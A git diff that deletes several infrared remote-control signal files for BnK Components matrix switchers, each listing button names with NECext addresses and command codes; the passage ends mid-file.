diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir deleted file mode 100644 index fe042d0da..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 2F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 76 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: 6C 39 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir deleted file mode 100644 index f6a7a0beb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 0F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 4A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 6F 09 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir deleted file mode 100644 index 2920140c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 29 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 76 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir deleted file mode 100644 index 8c08a68f6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir deleted file mode 100644 index 37e18ca1d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 2E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 3F 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 7F 08 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir deleted file mode 100644 index 4bec05029..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 4A 00 00 00 -# -name: MUTEPRE_+ -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: 80 F7 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir deleted file mode 100644 index 6e1616242..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 87 87 00 00 